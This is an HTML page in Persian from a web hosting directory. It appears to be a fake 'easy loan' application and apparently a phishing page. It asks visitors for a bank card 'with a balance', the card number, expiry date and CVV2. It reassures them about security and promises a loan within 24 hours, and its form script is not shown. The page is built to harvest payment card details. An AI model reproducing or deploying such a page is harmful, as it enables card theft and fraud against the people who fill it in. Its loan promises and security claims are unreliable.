/home2/mshostin/public_html/vam/index6.html
<!DOCTYPE html><html lang="fa" dir="rtl"><head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>انتخاب کارت بانکی | وام آسان</title>
    <link rel="stylesheet" href="css/all.min.css">
    <link href="https://fonts.googleapis.com/css2?family=Vazirmatn:wght@300;400;500;600;700&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="css/syle.css">
</head>
<body>
    <div class="container">
        <!-- Header -->
        <header>
            <div class="header-content">
                <a href="javascript:history.back()" class="back-button">
                    <i class="fas fa-arrow-right"></i>
                </a>
                <div class="logo-container">
                    <div class="logo-img">
                        <i class="fas fa-credit-card"></i>
                    </div>
                    <a href="/dashboard" class="logo-text">وام آسان</a>
                </div>
                <div style="width: 45px;"></div> <!-- Spacer for balance -->
            </div>
        </header>
        
        <!-- Main Content -->
        <div class="main-content" id="mainContent">
            <!-- Progress Bar -->
            <div class="progress-container">
                <div class="progress-bar">
                    <div class="progress-fill" id="progressFill"></div>
                </div>
                <div class="progress-text">مرحله ۲ از ۲ - انتخاب کارت بانکی</div>
            </div>
            
            <!-- Page Title -->
            <h1 class="page-title">انتخاب کارت بانکی</h1>
            <p class="page-subtitle">کارت بانکی دارای موجودی خود را انتخاب کنید</p>
            
            <!-- Security Notice -->
            <div class="security-notice">
                <i class="fas fa-shield-alt"></i>
                اطلاعات شما با استفاده از پروتکل های امنیتی پیشرفته محافظت می شود
            </div>
            
            <!-- Bank Cards Selection -->
            <div class="bank-selection">
                <div class="bank-cards-grid" id="bankCardsGrid">
                    <!-- Bank cards will be added dynamically -->
                </div>
            </div>
            
            <!-- Card Preview -->
            <div class="card-preview" id="cardPreview">
                <div class="card-chip"></div>
                <div class="card-number" id="previewCardNumber">•••• •••• •••• ••••</div>
                <div class="card-details">
                    <div class="card-holder">
                        <div class="card-label">صاحب کارت</div>
                        <div id="previewCardHolder">نام دارنده کارت</div>
                    </div>
                    <div class="card-expiry">
                        <div class="card-label">تاریخ انقضا</div>
                        <div id="previewCardExpiry">MM/YY</div>
                    </div>
                </div>
            </div>
            
            <!-- Success Message -->
            <div class="success-message" id="successMessage">
                <i class="fas fa-check-circle"></i>
                اطلاعات کارت با موفقیت ثبت شد
            </div>
            
            <!-- Form Container -->
            <div class="form-container" id="formContainer">
                <div class="form-section">
                    <div class="form-section-title">
                        <i class="fas fa-credit-card"></i>
                        اطلاعات کارت بانکی
                    </div>
                    <div class="form-grid">
                        <div class="form-group">
                            <label class="form-label">شماره کارت</label>
                            <input type="text" class="form-input" id="cardNumber" required="" maxlength="19" placeholder="XXXX XXXX XXXX XXXX" dir="ltr">
                            <i class="fas fa-credit-card input-icon"></i>
                        </div>
                        
                        <div class="form-row">
                            <div class="form-group">
                                <label class="form-label">تاریخ انقضا</label>
                                <input type="text" class="form-input" id="cardExpiry" required="" maxlength="5" placeholder="MM/YY" dir="ltr">
                                <i class="fas fa-calendar input-icon"></i>
                            </div>
                            
                            <div class="form-group">
                                <label class="form-label">CVV2</label>
                                <input type="text" class="form-input" id="cardCvv" required="" maxlength="4" placeholder="XXX" dir="ltr">
                                <i class="fas fa-lock input-icon"></i>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
            
            <!-- Action Button -->
            <button class="action-button" id="submitButton" disabled="">
                تایید و ادامه
            </button>
        </div>
        
        <!-- Final Success Page -->
        <div class="final-success" id="finalSuccess">
            <div class="success-icon">
                <i class="fas fa-check"></i>
            </div>
            <h1 class="success-title">درخواست وام شما ثبت شد!</h1>
            <div class="success-message-text">
                <div class="success-details">
                    <p><strong>درخواست وام شما با موفقیت ثبت شد</strong></p>
                    <p>تا ۲۴ ساعت آینده بعد از:</p>
                    <ul style="margin-right: 20px; margin-top: 10px;">
                        <li>تایید حساب بانکی</li>
                        <li>تایید موجودی حساب</li>
                        <li>تایید اطلاعات هویتی شما</li>
                    </ul>
                    <p style="margin-top: 15px;">وام به حساب شما واریز می‌گردد</p>
                </div>
            </div>
            <a href="/dashboard" class="home-button">بازگشت به صفحه اصلی</a>
        </div>
    </div>

    <script src="js/scrpt.js"></script>

</body></html>
Path: home2/mshostin/public_html/vam